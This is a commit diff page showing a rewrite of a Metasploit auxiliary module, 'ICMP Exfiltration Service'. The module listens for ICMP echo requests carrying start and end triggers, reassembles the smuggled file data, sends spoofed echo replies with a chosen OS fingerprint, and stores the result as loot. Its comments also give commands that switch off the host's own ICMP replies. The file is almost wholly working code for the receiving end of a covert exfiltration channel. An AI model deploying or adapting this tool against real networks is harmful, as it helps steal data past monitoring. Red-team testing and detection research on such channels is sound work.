Skip to content

Commit 082bba3

Browse files
Rewrite
Removed unrequired global vars Added flexibility in start, continue, end responses Added ability to set filename in BOF packet or not Fixed BEGIN RESCUE blocks to not catch errors themselves BEGIN ENSURE block still needed to trigger save to loot on CTRL+C
1 parent d48da67 commit 082bba3

File tree

1 file changed

+115
-104
lines changed

1 file changed

+115
-104
lines changed

modules/auxiliary/server/icmp_exfil.rb

Lines changed: 115 additions & 104 deletions
Original file line numberDiff line numberDiff line change
@@ -18,94 +18,109 @@ class Metasploit3 < Msf::Auxiliary
1818

1919
def initialize
2020
super(
21-
'Name' => 'ICMP Exfiltration',
22-
'Version' => '$Revision$',
23-
'Description' => %q{
21+
'Name' => 'ICMP Exfiltration Service',
22+
'Description' => %q{
2423
This module is designed to provide a server-side component to receive and store files
25-
exfiltrated over ICMP.
24+
exfiltrated over ICMP echo request packets.
2625
2726
To use this module you will need to send an initial ICMP echo request containing the
28-
specified trigger (defaults to '^BOF:') followed by the filename being sent. All data
29-
received from this source will automatically be added to the receive buffer until an
30-
ICMP echo request containing a specific end command (defaults to 'EOL') is received.
27+
specific start trigger (defaults to '^BOF') this can be followed by the filename being sent (or
28+
a random filename can be assisnged). All data received from this source will automatically
29+
be added to the receive buffer until an ICMP echo request containing a specific end trigger
30+
(defaults to 'EOL') is received.
3131
},
32-
'Author' => 'Chris John Riley',
33-
'License' => MSF_LICENSE,
34-
'References' =>
32+
'Author' => 'Chris John Riley',
33+
'License' => MSF_LICENSE,
34+
'References' =>
3535
[
36-
# general
37-
['URL', 'http://blog.c22.cc'],
3836
# packetfu
3937
['URL','http://code.google.com/p/packetfu/']
4038
]
4139
)
4240

4341
register_options([
44-
OptString.new('START_TRIGGER', [true, 'Trigger to listen for (followed by filename)', '^BOF:']),
45-
OptString.new('END_TRIGGER', [true, 'End of File command', '^EOF']),
46-
OptString.new('RESPONSE', [true, 'Data to respond when initial trigger matches', 'BEGIN']),
47-
OptString.new('BPF_FILTER', [true, 'BFP format filter to listen for', 'icmp']),
48-
OptString.new('INTERFACE', [false, 'The name of the interface']),
42+
OptString.new('START_TRIGGER', [true, 'Trigger for beginning of file', '^BOF']),
43+
OptString.new('END_TRIGGER', [true, 'Trigger for end of file', '^EOF']),
44+
OptString.new('RESP_START', [true, 'Data to respond when initial trigger matches', 'SEND']),
45+
OptString.new('RESP_CONT', [true, 'Data ro resond when continuation of data expected', 'OK']),
46+
OptString.new('RESP_END', [true, 'Data to response when EOF received and data saved', 'COMPLETE']),
47+
OptString.new('BPF_FILTER', [true, 'BFP format filter to listen for', 'icmp']),
48+
OptString.new('INTERFACE', [false, 'The name of the interface']),
49+
OptBool.new('FNAME_IN_PACKET', [true, 'Filename presented in first packet straight after START_TRIGGER', true])
4950
], self.class)
5051

5152
register_advanced_options([
52-
OptString.new('CLOAK', [false, 'Create the response packet using a specific OS fingerprint (windows, linux, freebsd)', 'linux']),
53-
OptBool.new('PROMISC', [false, 'Enable/Disable promiscuous mode', false]),
53+
OptEnum.new('CLOAK', [true, 'OS fingerprint to use for packet creation', 'linux', ['windows', 'linux', 'freebsd']]),
54+
OptBool.new('PROMISC', [true, 'Enable/Disable promiscuous mode', false]),
55+
OptAddress.new('LOCALIP', [false, 'The IP address of the local interface'])
5456
], self.class)
5557

5658
deregister_options('SNAPLEN','FILTER','PCAPFILE','RHOST','UDP_SECRET','GATEWAY','NETMASK', 'TIMEOUT')
5759
end
5860

5961
def run
6062
begin
63+
#Check Pcaprub is up to date
64+
if not netifaces_implemented?
65+
print_error("WARNING : Pcaprub is not uptodate, some functionality will not be available")
66+
netifaces = false
67+
else
68+
netifaces = true
69+
end
70+
6171
@interface = datastore['INTERFACE'] || Pcap.lookupdev
72+
#This is needed on windows cause we send interface directly to Pcap functions
6273
@interface = get_interface_guid(@interface)
63-
@iface_ip = Pcap.lookupaddrs(@interface)[0]
64-
65-
@filter = datastore['BPF_FILTER']
66-
@eoftrigger = datastore['END_TRIGGER']
67-
@boftrigger = datastore['START_TRIGGER']
68-
@response = datastore['RESPONSE']
69-
@promisc = datastore['PROMISC'] || false
70-
@cloak = datastore['CLOAK'].downcase || 'linux'
74+
@iface_ip = datastore['LOCALIP']
75+
@iface_ip ||= Pcap.lookupaddrs(@interface)[0] if netifaces
76+
raise "Interface IP is not defined and can not be guessed" unless @iface_ip
7177

78+
# start with blank slate
7279
@record = false
80+
@record_data = ''
7381

74-
if @promisc
82+
if datastore['PROMISC']
7583
print_status("Warning: Promiscuous mode enabled. This may cause issues!")
7684
end
7785

78-
# start listner
86+
# start icmp listener process - loop
7987
icmplistener
8088

81-
rescue => ex
82-
print_error(ex.message)
8389
ensure
8490
storefile
85-
print_status("Stopping ICMP listener on %s (%s)" % [@interface, @iface_ip])
91+
print_status("\nStopping ICMP listener on #{@interface} (#{@iface_ip})")
8692
end
8793
end
8894

8995
def icmplistener
9096
# start icmp listener
9197

92-
print_good("ICMP Listener started on %s (%s). Monitoring for trigger packet containing %s" % [@interface, @iface_ip, @boftrigger])
93-
cap = PacketFu::Capture.new(:iface => @interface, :start => true, :filter => @filter, :promisc => @promisc)
98+
print_status("ICMP Listener started on #{@interface} (#{@iface_ip}). Monitoring for trigger packet containing #{datastore['START_TRIGGER']}")
99+
if datastore['FNAME_IN_PACKET']
100+
print_status("Filename expected in initial packet, directly following trigger (e.g. #{datastore['START_TRIGGER']}filename.ext)")
101+
end
102+
103+
cap = PacketFu::Capture.new(
104+
:iface => @interface,
105+
:start => true,
106+
:filter => datastore['BPF_FILTER'],
107+
:promisc => datastore['PROMISC']
108+
)
94109
loop {
95-
cap.stream.each do |pkt|
110+
cap.stream.each do | pkt |
96111
packet = PacketFu::Packet.parse(pkt)
97112
data = packet.payload[4..-1]
98113

99-
if packet.is_icmp? and data =~ /#{@boftrigger}/
100-
101-
print_status("#{Time.now}: SRC:%s ICMP (type %d code %d) DST:%s" % [packet.ip_saddr, packet.icmp_type, packet.icmp_code, packet.ip_daddr])
114+
if packet.is_icmp? and data =~ /#{datastore['START_TRIGGER']}/
115+
# start of new file detected
116+
vprint_status("#{Time.now}: ICMP (type %d code %d) SRC:%s DST:%s" %
117+
[packet.icmp_type, packet.icmp_code, packet.ip_saddr, packet.ip_daddr])
102118

103119
# detect and warn if system is responding to ICMP echo requests
104120
# suggested fixes:
105-
#
106-
# (linux) echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
107-
# (Windows) netsh firewall set icmpsetting 8 disable
108-
# (Windows cont.) netsh firewall set opmode mode = ENABLE
121+
# -(linux) echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
122+
# -(Windows) netsh firewall set icmpsetting 8 disable
123+
# -(Windows) netsh firewall set opmode mode = ENABLE
109124

110125
if packet.icmp_type == 0 and packet.icmp_code == 0 and packet.ip_saddr == @iface_ip
111126
raise RuntimeError , "Dectected ICMP echo response. Disable OS ICMP handling!"
@@ -116,116 +131,111 @@ def icmplistener
116131
storefile
117132
end
118133

119-
@p_icmp = packet
120-
121134
# begin recording stream
122135
@record = true
123136
@record_host = packet.ip_saddr
124137
@record_data = ''
125-
@filename = data[(@boftrigger.length-1)..-1].strip # set filename from icmp payload
126138

127-
print_good("Beginning capture of %s data" % @filename)
139+
# set filename in packet or set random value
140+
if datastore['FNAME_IN_PACKET']
141+
@filename = data[((datastore['START_TRIGGER'].length)-1)..-1].strip # set filename from icmp payload
142+
else
143+
@filename = "icmp_exfil_" + ::Time.now.to_i # set random filename
144+
end
145+
146+
print_good("Beginning capture of \"#{@filename}\" data")
128147

129148
# create response packet icmp_pkt
130-
icmp_packet
149+
icmp_response, contents = icmp_packet(packet, datastore['RESP_START'])
131150

132-
if not @icmp_response
151+
if not icmp_response
133152
raise RuntimeError ,"Could not build ICMP resonse"
134153
else
135154
# send response packet icmp_pkt
136-
send_icmp
155+
send_icmp(icmp_response, contents)
137156
end
138-
break
139157

140158
elsif packet.is_icmp? and @record and @record_host == packet.ip_saddr
141-
# check for EOF marker, if not continue recording
159+
# check for EOF marker, if not continue recording data
142160

143-
if data =~ /#{@eoftrigger}/
144-
print_status("%d bytes of data recevied in total" % @record_data.length)
145-
print_good("End of File received. Saving %s to loot" % @filename)
161+
if data =~ /#{datastore['END_TRIGGER']}/
162+
# end of file marker found
163+
print_status("#{@record_data.length} bytes of data recevied in total")
164+
print_good("End of File received. Saving \"#{@filename}\" to loot")
146165
storefile
147-
@p_icmp = packet
148166

149167
# create response packet icmp_pkt
150-
icmp_packet
168+
icmp_response, contents = icmp_packet(packet, datastore['RESP_END'])
151169

152-
if not @icmp_response
170+
if not icmp_response
153171
raise RuntimeError , "Could not build ICMP resonse"
154172
else
155173
# send response packet icmp_pkt
156-
send_icmp
174+
send_icmp(icmp_response, contents)
157175
end
158176

159177
# turn off recording and clear status
160178
@record = false
161179
@record_host = ''
162180
@record_data = ''
181+
163182
else
183+
# add data to recording and continue
164184
@record_data << data.to_s()
165-
print_status("Received %s bytes of data from %s" % [data.length, packet.ip_saddr])
166-
@p_icmp = packet
185+
vprint_status("Received #{data.length} bytes of data from #{packet.ip_saddr}")
167186

168187
# create response packet icmp_pkt
169-
icmp_packet
188+
icmp_response, contents = icmp_packet(packet, datastore['RESP_CONT'])
170189

171-
if not @icmp_response
190+
if not icmp_response
172191
raise RuntimeError , "Could not build ICMP resonse"
173192
else
174193
# send response packet icmp_pkt
175-
send_icmp
194+
send_icmp(icmp_response, contents)
176195
end
177196
end
178197
end
179198
end
180199
}
181200
end
182201

183-
def icmp_packet
202+
def icmp_packet(packet, contents)
184203
# create icmp response
185204

186-
begin
187-
188-
@src_ip = @p_icmp.ip_daddr
189-
@src_mac = @p_icmp.eth_daddr
190-
@dst_ip = @p_icmp.ip_saddr
191-
@dst_mac = @p_icmp.eth_saddr
192-
@icmp_id = @p_icmp.payload[0,2]
193-
@icmp_seq = @p_icmp.payload[2,2]
194-
# create payload with matching id/seq
195-
@resp_payload = @icmp_id + @icmp_seq + @response
196-
197-
icmp_pkt = PacketFu::ICMPPacket.new(:flavor => @cloak)
198-
icmp_pkt.eth_saddr = @src_mac
199-
icmp_pkt.eth_daddr = @dst_mac
200-
icmp_pkt.icmp_type = 0
201-
icmp_pkt.icmp_code = 0
202-
icmp_pkt.payload = @resp_payload
203-
icmp_pkt.ip_saddr = @src_ip
204-
icmp_pkt.ip_daddr = @dst_ip
205-
icmp_pkt.recalc
206-
@icmp_response = icmp_pkt
207-
rescue => ex
208-
print_error(ex.message)
209-
end
205+
@src_ip = packet.ip_daddr
206+
src_mac = packet.eth_daddr
207+
@dst_ip = packet.ip_saddr
208+
dst_mac = packet.eth_saddr
209+
icmp_id = packet.payload[0,2]
210+
icmp_seq = packet.payload[2,2]
211+
212+
# create payload with matching id/seq
213+
resp_payload = icmp_id + icmp_seq + contents
214+
215+
icmp_pkt = PacketFu::ICMPPacket.new(:flavor => datastore['CLOAK'].downcase)
216+
icmp_pkt.eth_saddr = src_mac
217+
icmp_pkt.eth_daddr = dst_mac
218+
icmp_pkt.icmp_type = 0
219+
icmp_pkt.icmp_code = 0
220+
icmp_pkt.payload = resp_payload
221+
icmp_pkt.ip_saddr = @src_ip
222+
icmp_pkt.ip_daddr = @dst_ip
223+
icmp_pkt.recalc
224+
225+
icmp_response = icmp_pkt
226+
227+
return icmp_response, contents
210228
end
211229

212-
def send_icmp
213-
# send icmp response
214-
215-
begin
216-
@icmp_response.to_w(iface = @interface)
217-
if datastore['VERBOSE']
218-
print_good("Response sent to %s containing %d bytes of data" % [@dst_ip, @response.length])
219-
end
220-
rescue => ex
221-
print_error(ex.message)
222-
end
230+
def send_icmp(icmp_response, contents)
231+
# send icmp response on selected interface
232+
icmp_response.to_w(iface = @interface)
233+
vprint_good("Response sent to #{@dst_ip} containing response trigger : \"#{contents}\"")
223234
end
224235

225236
def storefile
226-
# store the file
227-
228-
if not @record_data.length == 0
237+
# store the file in loot if data is present
238+
if @record_data and not @record_data.empty?
229239
loot = store_loot(
230240
"icmp_exfil",
231241
"text/xml",
@@ -234,7 +244,8 @@ def storefile
234244
@filename,
235245
"ICMP Exfiltrated Data"
236246
)
237-
print_good("Incoming file %s saved to loot" % @filename)
238-
print_good("Loot filename: %s" % loot)
247+
print_good("Incoming file \"#{@filename}\" saved to loot")
248+
print_good("Loot filename: #{loot}")
249+
end
239250
end
240251
end

0 commit comments

Comments
 (0)